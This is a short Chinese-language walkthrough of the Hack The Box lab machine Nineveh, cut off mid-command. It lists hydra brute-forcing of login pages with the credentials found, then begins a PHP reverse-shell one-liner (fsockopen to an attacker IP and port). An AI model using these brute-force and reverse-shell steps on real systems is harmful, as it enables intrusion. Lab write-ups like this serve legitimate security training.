Hack the box靶機 nineveh

添加10.10.10.43 nineveh.htb 到/etc/hosts 掃描網站目錄 發現一個登錄頁面 直接hydra爆破賬號 admin：1q2w3e4r5t 繼續hydra admin：password123 查看漏洞 沒有返回 好像是必須在名稱中包含ninevehNotes 可以了現在 nc連接 php -r ‘$sock=fsockopen(「10.10.16.118」,1234);e

>>阅读原文<<